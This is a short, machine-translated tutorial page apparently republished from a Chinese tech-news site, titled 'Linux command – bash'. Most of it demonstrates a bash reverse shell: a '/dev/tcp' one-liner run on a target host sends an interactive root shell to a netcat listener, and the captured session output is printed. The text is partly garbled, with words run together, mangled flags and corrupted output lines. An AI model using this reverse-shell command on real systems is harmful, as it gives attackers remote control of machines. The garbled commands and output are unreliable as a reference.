Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Linux command-- bash

2025-01-19 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)06/01 Report--

Bash is a command interpretation language that can execute commands to read standard input or files, execute commands and bounce shell with nc!

Basic usage syntax

Bash-c command root@kali:~# bash-c whoamirootroot@kali:~#

In addition,-I is used to run shell interactively, usually on the target host

Bash-I > & / dev/tcp/192.168.5.1/2222 0 > & 1

Then another host uses nc to listen on the port and get a shell!

Target host:

Root@kali:~# bash-I > & / dev/tcp/192.168.5.1/2222 0 > & 1

* Host:

F:\\ eth20-CTF-Toolkits\\ CTF Toolkit\\ connection tool > nc-lvp 2222lstn on [any] 2222.. 192.168.5.128: reverse hst chk phailed: h_errno 11004: NO_DATAconnect to [192.168.5.1] from (UNKNOWN) [192.168.5.128] 53418: NO_DATAroot@kali:~# uname-auname-aLinux kali 4.6.0-kali1-amd64 # 1 SMP Debian 4.6.4-1kali1 (2016-07-21) X86_64 GNU/Linuxroot@kali:~# whoamiwhoamirootroot@kali:~#exit

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report